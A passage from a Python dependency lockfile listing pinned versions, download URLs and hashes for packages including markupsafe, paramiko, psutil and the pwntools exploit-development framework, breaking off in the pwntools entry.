{ url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" },
{ url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" },
{ url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" },
{ url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" },
{ url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" },
{ url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" },
{ url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" },
{ url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" },
{ url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" },
{ url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" },
{ url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" },
{ url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" },
{ url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" },
{ url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" },
{ url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" },
{ url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" },
{ url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" },
{ url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" },
{ url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" },
{ url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" },
{ url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" },
{ url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" },
{ url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" },
{ url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" },
{ url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" },
{ url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" },
{ url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" },
{ url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" },
{ url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" },
{ url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" },
{ url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" },
{ url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" },
{ url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" },
{ url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" },
{ url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" },
{ url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" },
{ url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" },
{ url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" },
{ url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" },
{ url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" },
{ url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" },
{ url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" },
{ url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" },
{ url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" },
{ url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" },
]
[[package]]
name = "packaging"
version = "26.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" },
]
[[package]]
name = "paramiko"
version = "5.0.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "bcrypt" },
{ name = "cryptography" },
{ name = "invoke" },
{ name = "pynacl" },
]
sdist = { url = "https://files.pythonhosted.org/packages/62/93/dcc25d52f49022ae6175d15e6bd751f1acc99b98bc61fc55e5155a7be2e7/paramiko-5.0.0.tar.gz", hash = "sha256:36763b5b95c2a0dcfdf1abc48e48156ee425b21efe2f0e787c2dd5a95c0e5e79", size = 1548586, upload-time = "2026-05-09T18:28:52.256Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/82/5b/eadf6d45de38d30ab603f49393b6cd2cbe7e233af8cf90197e32782b68a9/paramiko-5.0.0-py3-none-any.whl", hash = "sha256:b7044611c30140d9a75261653210e2002977b71a0497ff3ba0d98d7edbf62f7c", size = 208919, upload-time = "2026-05-09T18:28:50.295Z" },
]
[[package]]
name = "pip"
version = "26.1.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/01/91/47e7d486260f618783899587af63ccf7980fb60245c3e63dd4571c6b57ad/pip-26.1.2.tar.gz", hash = "sha256:f49cd134c61cf2fd75e0ce2676db03e4054504a5a4986d00f8299ae632dc4605", size = 1840799, upload-time = "2026-05-31T17:33:58.56Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/5d/95/6b5cb3461ea5673ba0995989746db58eb18b91b54dbf331e72f569540946/pip-26.1.2-py3-none-any.whl", hash = "sha256:382ff9f685ee3bc25864f820aa50505825f10f5458ffff07e30a6d96e5715cab", size = 1813144, upload-time = "2026-05-31T17:33:56.772Z" },
]
[[package]]
name = "plumbum"
version = "2.0.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/0c/6a/1d1b143420fcdfc8902f2db6b7d1d2325211461c5f2a43c849de7afad688/plumbum-2.0.1.tar.gz", hash = "sha256:61623f856dcb09eb20dcd5aa708dfb3cd04b6f4ab10224d39303b163bb1c4c61", size = 377668, upload-time = "2026-06-08T14:44:06.17Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/59/2d/d741fbbbcba7eb6f9f1a829373c558114d59cb882b95f941aa0dc060861f/plumbum-2.0.1-py3-none-any.whl", hash = "sha256:27a454980f91689aae8f18242a36daaf2636219171cf0e6a849744aa1d6fff85", size = 164460, upload-time = "2026-06-08T14:44:04.75Z" },
]
[[package]]
name = "psutil"
version = "7.2.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b", size = 130595, upload-time = "2026-01-28T18:14:57.293Z" },
{ url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea", size = 131082, upload-time = "2026-01-28T18:14:59.732Z" },
{ url = "https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63", size = 181476, upload-time = "2026-01-28T18:15:01.884Z" },
{ url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312", size = 184062, upload-time = "2026-01-28T18:15:04.436Z" },
{ url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", size = 139893, upload-time = "2026-01-28T18:15:06.378Z" },
{ url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", size = 135589, upload-time = "2026-01-28T18:15:08.03Z" },
{ url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" },
{ url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" },
{ url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" },
{ url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" },
{ url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" },
{ url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" },
{ url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" },
{ url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" },
{ url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" },
{ url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" },
{ url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" },
{ url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" },
{ url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" },
{ url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" },
]
[[package]]
name = "pwn"
version = "1.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "pwntools" },
]
sdist = { url = "https://files.pythonhosted.org/packages/18/fb/af6cd30af83f85a312cc92eb5187a7ae5ce76236c1f2dc0cf8f673f53d63/pwn-1.0.tar.gz", hash = "sha256:c3314be15714cd51e77b62643cc03c397db4f6817a441d894e2fe84fed777c17", size = 1131, upload-time = "2014-09-22T17:21:27.944Z" }
[[package]]
name = "pwntools"
version = "4.15.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "capstone" },
{ name = "colored-traceback" },
{ name = "intervaltree" },
{ name = "mako" },
{ name = "packaging" },
{ name = "paramiko" },
{ name = "pip" },
{ name = "psutil" },
{ name = "pyelftools" },
{ name = "pygments" },
{ name = "pyserial" },
{ name = "pysocks" },
{ name = "python-dateutil" },
{ name = "requests" },
{ name = "ropgadget" },
{ name = "rpyc" },
{ name = "six" },
{ name = "sortedcontainers" },
{ name = "unicorn" },
{ name = "unix-ar" },
{ name = "zstandard" },
]
sdist = { url = "https://files.pythonhosted.org/packages/f2/5c/9ae3d94c98b0b038ffd7f09ebdac506d346fe1b964999f71c96c8a904efd/pwntools-4.15.0.tar.gz", hash = "sha256:d99a917298c1ca7241b51bba9ad2212f2af441ef66488059b2426508e9a2a776", size = 5627629, upload-time = "2025-10-12T15:25:28.931Z" }
wheels = [
